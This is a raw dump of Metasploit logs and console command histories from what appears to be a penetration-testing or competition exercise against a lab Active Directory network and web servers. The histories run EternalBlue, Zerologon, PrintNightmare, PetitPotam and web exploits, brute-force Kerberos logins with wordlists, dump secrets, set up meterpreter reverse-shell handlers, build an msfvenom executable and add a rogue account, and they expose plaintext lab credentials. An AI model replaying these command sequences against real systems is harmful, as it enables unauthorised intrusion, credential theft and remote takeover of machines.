_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_ssl is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_https is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_http is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp_uuid is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/shell_findsock is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter_reverse_tcp is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp_uuid is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_uuid is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6 is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/exec is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/php/download_exec is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:40] [d(0)] core: Module cmd/unix/bind_aws_instance_connect is incompatible with multi/samba/usermap_script for PayloadType: limiter was cmd


_raw: [11/01/2025 15:50:29] [e(0)] core: Exploit failed (windows/browser/ms10_046_shortcut_icon_dllloader): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw: [11/01/2025 15:46:56] [d(0)] core: Error with SMB fingerprint: Login Failed: Connection reset by peer


_raw: [11/01/2025 15:46:56] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 15:46:33] [e(0)] core: Exploit failed (windows/browser/ms10_046_shortcut_icon_dllloader): Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80). - Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80).


_raw:
[11/01/2025 15:45:38] [e(0)] core: Errno::EACCES : Permission denied @ rb_sysopen - /var/www/html/initial_access.exe
/usr/bin/msfvenom:491:in `initialize'
/usr/bin/msfvenom:491:in `open'
/usr/bin/msfvenom:491:in `<main>'


_raw: [11/01/2025 15:45:24] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 15:45:11] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:45:04] [w(0)] core: IOError: stream closed in another thread


_raw: [11/01/2025 15:45:04] [e(0)] core: Exploit failed (windows/dcerpc/cve_2021_1675_printnightmare): NoMethodError undefined method `call' for nil - NoMethodError undefined method `call' for nil


_raw: [11/01/2025 15:44:48] [w(0)] core: IOError: stream closed in another thread


_raw: [11/01/2025 15:44:48] [e(0)] core: Exploit failed (windows/dcerpc/cve_2021_1675_printnightmare): NoMethodError undefined method `call' for nil - NoMethodError undefined method `call' for nil


_raw:
search Golang net/http server
search MySQL 8.0.43
exit


_raw: [11/01/2025 15:44:30] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 15:43:47] [e(0)] core: RubySMB::Error::NegotiationFailure Unable to negotiate SMB1 with the remote host: Not a valid SMB packet


_raw: [11/01/2025 15:43:28] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:43:14] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 15:42:16] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:41:43] [e(0)] core: Exploit failed (windows/browser/ms10_046_shortcut_icon_dllloader): Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80). - Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80).


_raw: [11/01/2025 15:40:43] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/01/2025 15:40:42] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/01/2025 15:40:41] [w(0)] core: Error returned while looking up SID: (0xc0000022) STATUS_ACCESS_DENIED: {Access Denied} A process has requested access to an object but has not been granted those access rights.


_raw: [11/01/2025 15:40:41] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 15:40:40] [e(0)] core: Exploit failed (windows/browser/ms10_046_shortcut_icon_dllloader): Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80). - Rex::BindFailed The address is already in use or unavailable: (10.0.1.99:80).


_raw: [11/01/2025 15:39:35] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw:
search Microsoft Windows betbios-ssn
search Microsoft Terminal Services
search Microsoft HTTPAPI httpd 2.0
exit


_raw: [11/01/2025 15:39:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:38:27] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:35:14] [i(0)] core: cmd/unix/reverse_zsh: payload contains no badchars, skipping automatic encoding


_raw:
use auxiliary/gather/kerberos_enumusers
set RHOSTS 10.0.1.6
set RPORT 88
set USER_FILE /usr/share/wordlists/john.lst
set DOMAIN apt
run
run | less
run >
run > less
auxiliary/scanner/kerberos/kerberos_login
Y
show OPTIONS
show -h
ser USERNAME greed
set USERNAME greed
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
set RHOSTS 10.0.1.6
run
set DOMAIN apt
run
set USERNAME admin
show options
set BRUTEFORCE_SPEED 0
run
search active_directory
exit
search active_directory
search kerberos
use auxiliary/gather/windows_secrets_dump
show options
set KRB_TYPES USERS_ONLY
set RHOSTS 10.0.1.6
set SMBUser greed
run
auxiliary/scanner/kerberos/kerberos_login
y
show options
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
run
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
run
spool /session.log
run
exit
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
spool /session.log
spool session.log
run
exit
spool off
auxiliary/scanner/kerberos/kerberos_login
y
show options
exit
search zero
search zerologon
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
show options
set RHOSTS 10.0.1.6
set NBNAME APT-DC-01
run
exit
search nightmare
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
show options
exit
search dcerpc
use auxiliary/admin/dcerpc/samr_account
show options
set ACCOUNT_NAME declan
set ACCount_PASSWORD password1234
set RHOSTS 10.0.1.6
set SMBUser anonymous
set SMBDomain APT
run
search hidden
exit


_raw: [11/01/2025 15:33:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:30:09] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 15:29:56] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:26:28] [d(0)] core: Negotiated SMB version: SMB3


_raw:
search Microsoft Windows RPC
use 146
show options
set RHOSTS 10.0.1.21
run
use 53
run
set RHOSTS 10.0.1.21
run
set LHOST 10.0.254.205
run
use 38
show options
run
exit


_raw: [11/01/2025 15:26:00] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 408)


_raw: [11/01/2025 15:25:05] [i(0)] core: windows/shell/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 408)


_raw: [11/01/2025 15:24:52] [e(0)] core: Failed to open history file: /root/.msf4/history with error: No such file or directory @ rb_sysopen - /root/.msf4/history


_raw: [11/01/2025 15:24:40] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:24:15] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:23:59] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 15:23:50] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 15:23:38] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:22:40] [e(0)] core: Exploit failed (windows/smb/ms10_061_spoolss): Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer - Rex::Proto::SMB::Exceptions::LoginError Login Failed: Connection reset by peer


_raw: [11/01/2025 15:22:40] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 15:21:42] [e(0)] core: Module uauxiliary/server/capture/smb not found, and no loading errors found. If you're using a custom module refer to our wiki: https://docs.metasploit.com/docs/using-metasploit/intermediate/running-private-modules.html


_raw:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
clear
exit
help
use windows/remote/42031.py
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_http
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.1.6
run
exit
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOST 10.0.1.6
run
use exploit/windows/iis/py_dos_iis_2-22_21907
exit
use windows/remote/16366.rb
use 16366
use MS07-02
24
use exploit/windows/dcerpc/ms07_029_msdns_zonename
set RHOST 10.0.1.6
run
search
search Microsoft DNS RPC Service
set LHOST 10.0.254.202
run
use 48
run
set LHOST 10.0.254.202
set RHOST 10.0.1.6
run
set DNAME allports.local
run
exit
Microsoft Active Directory LDAP Server
search Microsoft Active Directory LDAP Server
use 0
set RHOST 10.0.1.6
run
set SESSION allports.local
set SESSION
help
check
check
run
set SESSION ad
set SESSION
set SESSION 0
set SESSION 023
set SESSION 2
run
exit
search microsoft terminal services
search microsoft remote
search microsoft remote desktop
use 2
set RHOST 10.0.1.6
run
search windows remote management
search winrm
use 2
set RHOST 10.0.1.6
run
set DOMAIN APT
run
set DOMAIN allports.local
run
exit
search winrm
run
use 2
set RHOST 10.0.1.6
run
use 4
set RHOST 1.0.1.6
run
use 3
set RHOST 1.0.1.6
run
set SESSION 10.0.1.6
exit
search winrm
use 2
set RHOST 10.0.1.6
run
use 4
run
set RHOST 10.0.1.6
run
search kerberos
use 9
run
set RHOST 10.0.1.6
run
set RHOST 10.0.1.6:5985
run
use 10
run
set RHOST 10.0.1.6
ru~n
run
set DOMAIN allports.local
run
set DOMAIN APT
run
set PORT 5985
set RPORT 5985
run
set DOMAIN allports.local
run
set RHOST 10.0.1.7
run
use 9
set RPORT 5985
set RHOST 10.0.1.6
run
use 0
set RHOST 10.0.1.6
set RPORT 5985
run
set LDAPDomain allports.local
set LDAPUsername root
run
set TARGET_USERNAME root
run
set CA
run
exit
search rdp
use 42
set RHOST 10.0.1.6
run
use 6
run
set RHOSTS 10.0.1.6
run
exit
search smb
help
check 10.0.1.6
search eternalblue
use 27
set RHOST 10.0.1.6
run
set LHOST 10.0.254.202
run
set DefangedMode false
run
set SMBName
set SMBNamev''
set SMBName ''
set SMBPass ''
set SMBUser ''
run
use 28
run
set RHOST 10.0.1.6
run
set SMBUSER ''
set SMBPASS ''
run
smbclient -L 10.0.1.6 -N
search smb escalation
search smb
exit
search openstack
use 0
set RPORT 9697
set RHOST 10.0.1.254
run
search luna
search cisco unified
nmap -sV 10.0.1.254
exit
search openstack
use 0
set RHOSTS 10.0.1.254
set RPORT 9697
run
set RPORT 9696
run
set RPORT 9697
run
use 1
run
set RHOSTS 10.0.1.254
set RPORT 9697
run
set USERNAME admin
set PASSWORD 'PASSWORD'
set NEWUSERNAME team3
set NEWPASSWORD team3
set NEWEMAIL REDACTED_EMAIL
run
exit


_raw: [11/01/2025 15:15:46] [e(0)] core: Technique: 0) - Rex::Post::Meterpreter::RequestError priv_elevate_getsystem: Operation failed: 1346


_raw:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
ip a
set LHOST 10.0.254.201
set lport 4444
run


_raw: [11/01/2025 15:15:37] [e(0)] core: Failed to open history file: /home/pentester/.msf4/meterpreter_history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/meterpreter_history


_raw: [11/01/2025 15:15:21] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:14:49] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:14:47] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 15:14:34] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 15:14:13] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search OpenSSH 8.9p1
search OpenSSH 8.9pl
search librechat
clear
search nginx 1.18.0
search Gunicorn
search MySQL 5.7.44
Apache httpd 2.4.25
search Apache httpd 2.4.25
search Jetty 9.4.48.v20220622
searchsploit nginx
use Nginx 1.3.9/1.4.0 (x86) - Brute Force
use linux_x86/remote/26737.pl
use 15
use Ingress-NGINX 4.11.0 - Remote Code Execution
use ginx (Debian Based Distros + Gentoo) - 'logr
use 1
use 2
search nginx
use 0
set RHOSTS 10.0.1.15
run
set LHOSTS 10.0.1.15
show options
back
use 10
back
search nginx
use 10
show options
set RHOSTS 10.0.1.15
run
back
search nginx
use 3
set RHOSTS 10.0.1.15
run
back
search nginx
use 6
set RHOSTS 10.0.1.15
run
back
search nginx
use 7
set RHOSTS 10.0.1.15
run
back
clear
search MySQL 8.0.43
clear
search tcpwrapped
search MikroTik RouterOS 7.2
search Simple DNS Plus
search Microsoft Windows Kerberos
use 0
set RHOSTS 10.0.1.6
run
back
search Microsoft Windows RPC
use 146
set RHOSTS 10.0.1.6
run
back
search Microsoft Windows RPC
use 1
set RHOSTS 10.0.1.6
run
set LHOSTS 10.0.254.204
run
set LHOST 10.0.254.204
run
back
search Microsoft Windows RPC
use 63
set RHOSTS 10.0.1.6
run
back
search Microsoft Windows RPC
use 146
set RHOSTS 10.0.1.6
run
back
search Microsoft Windows RPC
use 38
set RHOSTS 10.0.1.6
run
set LHOST 10.0.254.204
run
back
search Microsoft Terminal Services
clear
search Microsoft HTTPAPI httpd 2.0
search OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
clear
quit


_raw: [11/01/2025 15:14:06] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw:
use auxiliary/gather/kerberos_enumusers
set RHOSTS 10.0.1.6
set RPORT 88
set USER_FILE /usr/share/wordlists/john.lst
set DOMAIN apt
run
run | less
run >
run > less
auxiliary/scanner/kerberos/kerberos_login
Y
show OPTIONS
show -h
ser USERNAME greed
set USERNAME greed
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
set RHOSTS 10.0.1.6
run
set DOMAIN apt
run
set USERNAME admin
show options
set BRUTEFORCE_SPEED 0
run
search active_directory
exit
search active_directory
search kerberos
use auxiliary/gather/windows_secrets_dump
show options
set KRB_TYPES USERS_ONLY
set RHOSTS 10.0.1.6
set SMBUser greed
run
auxiliary/scanner/kerberos/kerberos_login
y
show options
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
run
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
run
spool /session.log
run
exit
use auxiliary/gather/kerberos_enumusers
show options
set DOMAIN apt
set RHOSTS 10.0.1.6
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt
set USERPASS_FILE /usr/share/wordlists/seclists/Usernames/Names/names.txt
spool /session.log
spool session.log
run
exit
spool off
auxiliary/scanner/kerberos/kerberos_login
y
show options
exit
search zero
search zerologon
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
show options
set RHOSTS 10.0.1.6
set NBNAME APT-DC-01
run
exit
search nightmare
use exploit/windows/dcerpc/cve_2021_1675_printnightmare
show options
exit


_raw:
search PetitPotam
use 0
info
set rhost 10.0.1.6
run
set smbuser rdavis
set smbpass rosdav50
run
sessions
check
info
run
set VERBOSE true
run
exit
use auxiliary/scanner/smb/smb_login
info
set rhost 10.1.0.6
run
set smbuser rdavis
set smbpass rosdav50
run
info
use auxiliary/scanner/smb/smb_enumshares
info
set rhost 10.0.1.6
set smbpass rosdav50
set smbuser rdavis
run
set rhost 10.0.1.20
run
set rhost 10.0.1.10
set rhost 10.0.1.21
run
ip a
exit


_raw: [11/01/2025 15:12:20] [i(0)] core: cmd/unix/reverse_zsh: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 15:11:51] [i(0)] core: cmd/unix/reverse_zsh: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 15:11:38] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 15:11:38] [e(0)] core: RubySMB::Error::NegotiationFailure Unable to negotiate SMB1 with the remote host: Not a valid SMB packet


_raw: [11/01/2025 15:11:34] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError - WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError


_raw: [11/01/2025 15:11:32] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 15:11:32] [e(0)] core: RubySMB::Error::NegotiationFailure Unable to negotiate SMB1 with the remote host: Not a valid SMB packet


_raw: [11/01/2025 15:11:24] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError - WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError


_raw: [11/01/2025 15:11:24] [e(0)] core: Auxiliary failed - Net::SSH::Disconnect connection closed by remote host


_raw:
[11/01/2025 15:11:24] [e(0)] core: Thread Exception: ScannerHost(scanner/ssh/ssh_version)-10.0.1.30  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - Net::SSH::Disconnect connection closed by remote host


_raw: [11/01/2025 15:11:21] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 15:11:21] [e(0)] core: RubySMB::Error::NegotiationFailure Unable to negotiate SMB1 with the remote host: Not a valid SMB packet


_raw: [11/01/2025 15:10:49] [i(0)] core: cmd/unix/reverse_zsh: payload contains no badchars, skipping automatic encoding


_raw: [11/01/2025 15:10:44] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:10:31] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 15:09:32] [e(0)] core: Errno::ECONNRESET Connection reset by peer


_raw: [11/01/2025 15:09:04] [e(0)] core: Error running against host 10.1.0.6 - Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SMB)


_raw: [11/01/2025 15:08:57] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:08:39] [e(0)] core: Exploit failed (windows/smb/smb_relay): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw: [11/01/2025 15:08:22] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
[11/01/2025 15:07:28] [e(0)] core: Thread Exception: Module(scanner/http/dir_scanner)-10.0.1.11  critical=false    source:
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:132:in `block in run_host'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:131:in `upto'
    /usr/share/metasploit-framework/modules/auxiliary/scanner/http/dir_scanner.rb:131:in `run_host'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:116:in `block (2 levels) in run'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn' - IOError closed stream


_raw:
Jetty 9.4.48.v20220622
search Jetty 9.4.48.v20220622
search Jetty 9.4.48
use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
show options
set LHOST 10.0.254.205
set RHOSTS 10.0.1.15
run
set ForceExploit true
run
exit


_raw: [11/01/2025 15:06:26] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search tcp
clear
search microsoft-ds
search DS
clear
search microsoft ds
ping allports.tour
ping allports.tours
clear
back
exit
search php5
search php 5
search php heap
search php-5
search php t
search php 5
search php 5 heap
exploit/windows/browser/apple_quicktime_marshaled_punk
y\
exploit/windows/browser/apple_quicktime_marshaled_punk
set port
set rport
set RPORT
set RPORT 8080
set URIPORT 8080
set LHOST 8080
set LHOST 10.0.1.15
run
ls
cat passwords.txt
cat password.txt
info
set SRVHOST 10.0.1.15
run
info
set URIPATH info.php
run
search php 5
exploit/multi/http/vtiger_php_exec
y
info
set RPORT 8080
set VHOST 10.0.1.15
run
set RHOST 10.0.1.15
run
info
search php 5
search php
search php heap
exit
search apches 2.0
search apche 2.0
search apache 2.0
less |search apache 2.0
search apache 2.0
exploit/linux/http/apache_ofbiz_deserialization
y
info
set RHOST 10.0.1.15
set RPORT 8080
run
set TARGETURI info.php
run
set LHOST
set LHOST 10.0.1.15
run
curl -v http://10.0.1.15:8080/
search apache
exploit/multi/http/apache_normalize_path_rce
y
run
info
set RHOST 10.0.1.15
run
set LHOST 10.0.1.15
run
set RPORT 443
run
set RPORT 8008
ru
set RPORT 8080
ru
set RPORT 80
run
exploit/multi/http/apache_normalize_path_rce
n
clear
bac
bacj
back
search apache 2
exploit/windows/http/bea_weblogic_post_bof
y
run
info
set RPORT 8
set RPORT 8080
set RHOST 10.0.1.15
run
https://chatgpt.com/c/690634c8-2ac8-832e-babf-82ae66fb7225
curl -sS http://10.0.1.15:8080/console/login/LoginForm.jsp
search apache debina
search apache debian
exploit/linux/local/tomcat_ubuntu_log_init_priv_esc
y
run
info
exit
hisrtory
history
clear
nmap -sV -T5 -Pn
nmap -sV -T5 -Pn chat.allports.tours
ping chat.allports.tours
search apacahe
search php
use 1064
info
set RPORT 8080
set RHOST 10.0.1.15
rune
run
set URI /
ru
set URI info.phph
set URI info.php
]
run]
run
nif
info
set TARGETURI info.php
run
search php
search php heap
se 3
info
run
back
search php apache
use 26
info\
info
clear
info
run
set r
set rhost
search php
search php heap
run 4
use 3
run
set RHOSTS 10.0.1.15
run
search sql
ls
celar
clear
search sql
search mysql
use 63
exit
search php admin
search php db admin
nmap 10.0.1.15
exit
search apache
use 22
info
search apache
info
set RHOST 10.0.1.15; set RPORT 10.0.1.15
run
set targeturi ~
run
show paylaods
show payloads
set payload 8
run
run ls
show options
set RPORTS 8080
run
run ls
search php
use 1094
info
set RPORTS 8080
set RPORT 8080
info
run
set RHOST 10.0.1.15
run
show payload
show payloads
set payload 81
run
set payload 84
run
set payloads 77
run
aojvnweojvnwevnsd\
pd
auido
clear
search *
search
search 10
search php
search mysql
ls
search
use 766
use 77
search mysql
search php
use 766
info
search php
use 1103
run
clear
set rhost 10.0.1.15
run
search MySQL [information_schema]> SELECT * FROM *;
MySQL [information_schema]> SELECT * FROM *;
search MySQL [information_schema]> SELECT * FROM *;
MySQL [information_schema]> SELECT * FROM *;
search kpasswd5
search netbios-ssn
search wsman
use 4]
use 4
search wsman
use 4
search wsman
use 3
info
set RPORT 5985
set RHOST 10.0.1.6
run
exit


_raw: [11/01/2025 15:04:08] [e(0)] core: Exploit failed (windows/smb/smb_relay): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw: [11/01/2025 15:03:14] [e(0)] core: Exploit failed (windows/smb/smb_relay): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw:
search winrm
use 7
set rhosts 10.0.1.6
set lhost 10.0.254.204
run
show options
set username rdavis
set password rosedav50
run
set Domain allports.local0
run
quit


_raw: [11/01/2025 15:01:39] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/01/2025 15:01:39] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.20  critical=false    source:
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:110:in `block in run'
    <internal:kernel>:187:in `loop'
    /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:93:in `run'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:180:in `job_run_proc'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:87:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - NameError uninitialized constant Net::NTLM


_raw: [11/01/2025 15:01:27] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 15:01:18] [e(0)] core: Exploit failed (windows/winrm/winrm_script_exec): WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError - WinRM::WinRMAuthorizationError WinRM::WinRMAuthorizationError


_raw: [11/01/2025 15:01:10] [e(0)] core: Auxiliary failed - NameError uninitialized constant Net::NTLM


_raw:
[11/01/2025 15:01:10] [e(0)] core: Thread Exception: ScannerHost(scanner/rdp/rdp_scanner)-10.0.1.20  critical=false    source:
